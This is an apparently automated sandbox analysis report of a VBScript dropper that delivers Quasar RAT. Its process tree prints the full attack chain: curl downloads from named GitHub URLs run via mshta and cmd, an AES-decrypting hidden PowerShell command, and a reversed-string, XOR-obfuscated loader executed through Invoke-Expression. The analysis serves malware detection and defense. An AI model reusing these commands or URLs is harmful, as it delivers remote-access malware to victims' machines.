quasar | f2166dac295b232478248f546fccc082410e13970225f2b7f9f6dbc3c4fdf3d2

Analysis

max time kernel
300s
max time network
277s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
28/04/2026, 16:13

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
adb exploit.vbs
Size 2KB
Sample260428-tpblfaft6p
SHA256 f2166dac295b232478248f546fccc082410e13970225f2b7f9f6dbc3c4fdf3d2
MD5 1debcbcd17b4e66c78673c73aaf63fd2
SHA1 adfcde6d14f7ac9bc14ee8923e9df290af6bf952
SHA512 1fc6edc320de09808dac0f9bbf777d127f7a5d3ccdf935b63774cdc1e34f9d1fc4cc976a98d8ec4946f22898c13304110aad359cf0056f79c7fb0ab345065b50
TLSH
T1495153341E5172DE06A84BCAA0DCF1B453795BF6AA11AC1C5598CA33DD332EF416D0AD
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution quasar spyware trojan

Malware Config

Extracted

Family

quasar

Attributes

encryption_key
AFA3CAD4ED1D6F9700536DD60F51307FFEA2892B
key_salt
5a23f8394640cb9e40658446a04c0bbae82dc93d0470e1b2a406a90fd2520382
reconnect_delay
3000

Signatures

Family: Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral2/memory/2392-44-0x000002337D890000-0x000002337D984000-memory.dmp	family_quasar

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3656	powershell.exe
1616	powershell.exe
2392	powershell.exe

Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
2	raw.githubusercontent.com
15	raw.githubusercontent.com
1	raw.githubusercontent.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2392	powershell.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3656	powershell.exe
3656	powershell.exe
1616	powershell.exe
1616	powershell.exe
2392	powershell.exe
2392	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2392	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3656	powershell.exe
Token: SeDebugPrivilege	1616	powershell.exe
Token: SeDebugPrivilege	2392	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 3168 wrote to memory of 3656	3168	WScript.exe	79
PID 3656 wrote to memory of 1956	3656	powershell.exe	81
PID 1956 wrote to memory of 2988	1956	cmd.exe	83
PID 2988 wrote to memory of 1148	2988	wscript.exe	84
PID 2988 wrote to memory of 1072	2988	wscript.exe	86
PID 1072 wrote to memory of 1616	1072	mshta.exe	87
PID 1072 wrote to memory of 2828	1072	mshta.exe	89
PID 1072 wrote to memory of 5052	1072	mshta.exe	91
PID 5052 wrote to memory of 916	5052	wscript.exe	92
PID 916 wrote to memory of 2392	916	cmd.exe	94

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\adb exploit.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:3168
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\kFcnW1K5vAH.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3656
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c wscript //nologo C:\Users\Admin\AppData\Local\Temp\V7YmmGS7TnD.vbs
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1956
  - - C:\Windows\system32\wscript.exe
      wscript //nologo C:\Users\Admin\AppData\Local\Temp\V7YmmGS7TnD.vbs
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2988
    - - C:\Windows\System32\curl.exe
        
        "C:\Windows\System32\curl.exe" -s -L -o "C:\Users\Admin\AppData\Local\Temp\LVPmNj.hta" "https://raw.githubusercontent.com/demarcusnofatherington420-a11y/nucom/refs/heads/main/WindowsDefenderRuntimeService.hta"
        5⤵
        
        PID:1148
    - - C:\Windows\System32\mshta.exe
        
        "C:\Windows\System32\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\LVPmNj.hta"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1072
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$k=[byte[]]@(95,194,117,41,212,7,187,158,124,210,21,249,154,50,32,242);$i=[byte[]]@(108,191,225,154,77,180,250,55,147,114,235,207,244,250,63,104);$c=[Convert]::FromBase64String('Jg5WMw9ypIKeTkKa+F+vnA273DGkXIVjq8sVp5oify99u6mp8d3pl+IROBKwYgsEkejk8OVlI5D0x7+jzYGalu2D3tDcmwpUDX/WBQ2mZifBoS5C4zaG1qIx3CKjvERnDJk+QWMSf8pn2WqjEMtuLAdo7eEm6L7bbAXHhcENc1/YFQhZCIP2BH8O4kR7tyOaoNJtpo65LHE8Z5QcX1ljfMTwYI/F1IeXjndUwqeRyvmPT2ca67p+33hOjZoldu2cyNjqaevTG9W7/sUxgRkjghnHbs0CirUPHAQL0YDZTiXO8A9yEnXaOtZMvW8oFgJg5HIpbq5FAvxGFOG+hTB/o03DRhvoKAtQcyvMCb2RcM85fwYfCvIn+Sl4bZQNzF8ihaT2RVZ5ysCNRr+N8p3ZNSYchYMUjm3xd6o238DRuF6P5SjiVI5mkQO8ze8EHH9JrBplFFzXN69FDnvMsVTFs54q94HpisQkeNkdZIFNH1W6OBBSbLBiIYLwC576YpUuOBWgo5Do8uDR7OCbuZ9SS7piYPIXO3RCs+6T5OOBtDwaykDo1j8s6/978HTV97OxiNGEm50J79w/iaAI8Df7n4kj2+Y1m41b+7AZTx2I4rzebOO7BArUlAwqhGMGitFjXYiBwI8y1669YfdcvIbvIUKtmxihNfj0Q09saFFUpTvwe7Ix0q27ZYSIbXsI0uuNGpVy0HoHu/3MzxxmFpqe/afvir6uUnNlqiWrs3bTEU2alKS0vGAUXPOZIPtJWdrY75KaAwFNWBD91aWNI6VJD20AenxZOXAyE8b7OGulcFfkiqgx5udj2IsCdiz1NNug7RKfLzvmnoFdFPo33LRnNI0/PeLm0w4CAifeOX4+kf1qXQ+GpIQFV5FgbrH9W74Zdt+RLSq9Dp5h3gwGcwRKaFnCuI46VMaR3CDV2dMrTj0fG8Je3ITrQxAXzsnrusVDA5ab7SxBRXR2n/DPyP7UvclFRUm90O6GlUQBou4kT0k4pRdHZ+L912bM1ANtI9Rl7q3eR4Z+SGxZ0WujaSnlg/RGmXIBLIZTZfDb15o4LrtmEc7yp2Ew1WFuK7a7GD/1i1o0brhFcFY5hh+arMbHY3nlABEIVucnSI1rXLflilgjAfaRa2fBRFtPWmjCYWwgcAlYbF0Vhw0kc4XCo7Cz25mq8BHg66JMmnqeC3Q5JkMDUSYYomjR5UpVIN//QOIBxkqC+GxR4fv34ej+7z1+KF5vWwoggYaT+6w9T0yF+GArEDrni3Ma+Q6+TEbIixDugoUDcbHqrfKK9UVVuG7uMEXxgcRXQbfUyIaiGECb3r3t9nS/5WBYr1SeiPB0QxllMEiheZWr6WGNOlbWpZgpkyAkeY7KUgblHmSCnp8GtUCsVdJgTeVQyTDJmEqhy3PWu7beg0PSedVi1SFANOJRXCEMJfjSraSzyhlvqjiSm+4C579Xb13gtk3S+pUUu54kJxuf5JvzaTd+NQn7UrOrOpEIC5SPWFVe0LTSk0MRvKOhmGeM1sU0DZY67Of1Bhh+eIXWuGU5cARAXzp0YPT5anQpc3q5PQ7/iSbMO4FN+v0c7muoC4SrZFWiDkadTXN3zSxMHXsuvLpEWE0CPoDVTbZ7dLLPa/UjMnJ+jz+zsVxXsIkBx2NwxOcfBF/IS72Xnvjjeoz2iLgmuUALfCflnXn3CJAY9Uz6+VsLrZv+nf1/wIvWzWfYqWqY/WwI9+UA0zlaQQ0cIfK0PJriSXGjo/SIJlf9170/lzqfJbmsEEpluToeH2v324K7ONjN5+oxUQQcyz7dLECat9jTN/O2uA==');$a=New-Object Security.Cryptography.AesCryptoServiceProvider;$a.Key=$k;$a.IV=$i;$a.Mode='CBC';$a.Padding='PKCS7';$d=$a.CreateDecryptor();$p=$d.TransformFinalBlock($c,0,$c.Length);[Console]::OutputEncoding=[Text.Encoding]::UTF8;Write-Host ([Text.Encoding]::UTF8.GetString($p));"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1616
      - C:\Windows\System32\curl.exe
        
        "C:\Windows\System32\curl.exe" -s -L -o "C:\Users\Admin\AppData\Local\Temp\svchost32.bat" "https://github.com/demarcusnofatherington420-a11y/vbs-hta-vbs-bat/raw/refs/heads/main/ya.bat"
        6⤵
        
        PID:2828
      - C:\Windows\System32\wscript.exe
        
        "C:\Windows\System32\wscript.exe" //nologo "C:\Users\Admin\AppData\Local\Temp\launch32.vbs"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:5052
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\svchost32.bat" "
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:916
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -c "Write-Host ('dedaoL rotcartxE llehsrewoP'[-1..-27] -join '');$path = $env:IdhmBSKvPL;$path = $path.Trim();$path = $path.Substring(1, $path.Length - 2);Write-Host $path;$_1 = Get-Content -Path $path;$_3 = $_1 -split '\n';$_2 = $_3[-1];$_2 = [Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($_2.Replace('\n', ''));$_4 = New-Object byte[] $_2.Length;for ($_5 = 0; $_5 -lt $_4.Length; $_5++) {$_4[$_5] = $_2[$_5] -bxor 0x20;};$_4 = [System.Text.Encoding]::Unicode.GetString($_4);Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows Search' -Name 'oJCTcuyeXV' -Value $_4;$_4 | Invoke-Expression"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: AddClipboardFormatListener
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: GetForegroundWindowSpam
        Suspicious use of AdjustPrivilegeToken
        
        PID:2392

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 e336a593bd31921c46757a88a99759f6a33854d0c8b854c0c8f118e5cede1ea1
MD5 aa0a32b11dca7b04f4cc5fe8c55cb357
SHA1 00e354fd0754a7d721a270cdc08f970b9a3f6605
SHA512 1db91d3540da2c7eb4e151d698f3a9c1d2caed3161c41f1c2c73781a65e9dfc818902f0220c0aa9fc2c617d4851f23f4a576c4e5fe0f40ec78e9ed01c8ad8b30
TLSH
T1F661DC323375B0D4895A7F07192C19C463BF8356EA94AF4CB658620ED92B44BDF222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 919e8135bd5584c22137f2c102454c841e0a5d03c01a835f9351d90b1f78a20e
MD5 c5ee780973d9e0708ebe4b183d49d530
SHA1 7d4d952b49a165fc8250a3f2c1d1af06d9d92634
SHA512 5af4030845f34335f99d1699c05523b5070a36d323d0975154115c7ca65ad8f01bb5b2fa451cb2c20369833df1de0d9d0e8820e2468e8db7c96bc6852accd2d3
TLSH
T13A218633B39CC135C8D9117A2088AD01B2B5C3CB449E8E8B6B84C508A57F99ADB641E4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 1081c6b484e3ce0572ea539029bc598ee7870cf099c5585bd52fbeee220c56b7
MD5 8117d1162c008cf731fe668d81f95ac0
SHA1 1fdce919b160546d65f946726794b3331de06938
SHA512 711cc338d15b6b36cad3e8ca1a57b0595991f060d24f39faa2b24a2c4ca08c07c82497ed8b1bfbc998452778d75fb24558d72062ef5ee6848d99e35068c5f188
TLSH
T11B117A33B79CC135C8D9157A1089AD01B2B4C3C7049EDE8B7A84C509E57F58ADB645E4
MD5 SHA1 SHA512 TLSH

Submit Download

LVPmNj.hta

Path C:\Users\Admin\AppData\Local\Temp\LVPmNj.hta
Size 24KB
SHA256 1e910155a45608d8464d82cabd062b37732e3b33248c34f63d8d642aee573b16
MD5 6fea73bf544f87798075705cbc0168ba
SHA1 48925371096e09c7ee37ed7d57203f832549c236
SHA512 fe9f82b7f2b678610e845019a5d26e71a7c47cfcdf967c238ea529065f816a8dd1d8907a57f051d77f22a1b2d6bb7033a116ecbe5ecd49ea124a9b22b129ac3a
SSDEEP 384:V8n6fYEKwbDcGFkVRZpAsuEOg4DBn/aaNEj/LPZOQSoZY2a0+ulzSRs60lFAwvpw:Vn
TLSH
T159B25B6C09BDFA5C93D9E217EA95F7236D465CAFC2B876132AF34C69A0014C085EB4C7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

V7YmmGS7TnD.vbs

Path C:\Users\Admin\AppData\Local\Temp\V7YmmGS7TnD.vbs
Size 765B
SHA256 c78715a1dad894b5cd9eb5b9a37e6d0a6255bd909c408db002c0229acc0ab34d
MD5 a2da8d7ab6b376f3f70276087305362f
SHA1 c310e48da453544e30d7c847ce635be58877ad69
SHA512 e47bee88e544060ed3eefc22874cd5a86323914934783464d971a46b76029519c71ef8a8443ff98746a3d0bb087d03ddd49c816c8690056b3b742bbf93f11f84
TLSH
T1C501B80E7AF0D3B834E0E0A2B7CC5C0F56A4D947BC39F00EDA5488498DC1DBA8156CAA
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_ov2ehtqs.pfm.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ov2ehtqs.pfm.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

kFcnW1K5vAH.ps1

Path C:\Users\Admin\AppData\Local\Temp\kFcnW1K5vAH.ps1
Size 1KB
SHA256 85b5e85ba113ac94dbce79a2083a5b42800f8983f10f950b7db7d9131fb8ebfa
MD5 282b8bac83fd0f04dfbe411ee46a28da
SHA1 ab128011975cf0526854c9221f04aa2678a294ee
SHA512 c9b9e1cedbb2f458768bb623041cc744f801e0dbac43425eef39b7e1976698c6a5b7d97f7fc5b45882cda174b19da13d5f3a76d9e3983de2a2ab4adcc6e32df8
TLSH
T12141B6B93A56B0F805C40181E4BC9B60532146ADB062FC60B7E0C612F6492CE926E1C5
MD5 SHA1 SHA512 TLSH

Submit Download

launch32.vbs

Path C:\Users\Admin\AppData\Local\Temp\launch32.vbs
Size 125B
SHA256 fe0b3f33708d8b50dbeb91d7c3e876ce37fb5257048b9a593d7b0287ce5a2c4c
MD5 be934a7e9e9e8e559a1709362df18ce7
SHA1 85b0896f6eb8f1544cd064bb45cf70c816967f86
SHA512 3c531c27d075189538e55a0bcd43bfc10f5bf154e68301e7e4674a322e17ce0646bfc8bd4f675c0bd25cb2883fd98167ea7811e343b842da3456107208642c4b
TLSH
T192B0228BB088C23A0880A8A302F2080CC0B088A82222AA3B0E00E80C22A880C830A002
MD5 SHA1 SHA512 TLSH

Submit Download

svchost32.bat

Path C:\Users\Admin\AppData\Local\Temp\svchost32.bat
Size 4.1MB
SHA256 549f9fed39593ad71da295a4a37c2399d80768f875c2c7ec1092a992894a5668
MD5 49d264bdc02f0e13fb5d626557cbdbf6
SHA1 be79a8eef7c6ea33b0ae08d862d6d945c7e5b0a8
SHA512 9bd8bca62c035cbae8d2483e91e6a217edfff9f4df8e0ef3af57d81c15970bc37510072d46d15b596b3ddce1fd8fe5a3c82933d3ce77e84b2cd93529c7bea856
SSDEEP 49152:lJ4gJFxW/FT2kbPwsSIvotfesFSSsB9fmbJ/N+OuBVmYxh0qn5+7ioeZzpoFzr1:D
TLSH
T1B11602484DBBB2061FCDDB45F39BFFDFB85262A2F941122470AA5DC933A12561C6D0B8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1616-29-0x000002138AA20000-0x000002138AA32000-memory.dmp

Download

memory/2392-43-0x00007FFC16FA0000-0x00007FFC1705D000-memory.dmp

Download

memory/2392-41-0x000002337D490000-0x000002337D5C0000-memory.dmp

Download

memory/2392-42-0x00007FFC185A0000-0x00007FFC187A9000-memory.dmp

Download

memory/2392-44-0x000002337D890000-0x000002337D984000-memory.dmp

Download

memory/2392-45-0x000002337D150000-0x000002337D184000-memory.dmp

Download

memory/2392-46-0x000002337DCD0000-0x000002337DD08000-memory.dmp

Download

memory/2392-47-0x000002337CED0000-0x000002337CEE2000-memory.dmp

Download

memory/3656-3-0x000001CC2EA90000-0x000001CC2EAB2000-memory.dmp

Download

memory/3656-10-0x000001CC2EA80000-0x000001CC2EA90000-memory.dmp

Download

memory/3656-2-0x000001CC2EA80000-0x000001CC2EA90000-memory.dmp

Download

memory/3656-1-0x000001CC2EA80000-0x000001CC2EA90000-memory.dmp

Download

memory/3656-16-0x000001CC14BB0000-0x000001CC14BC2000-memory.dmp

Download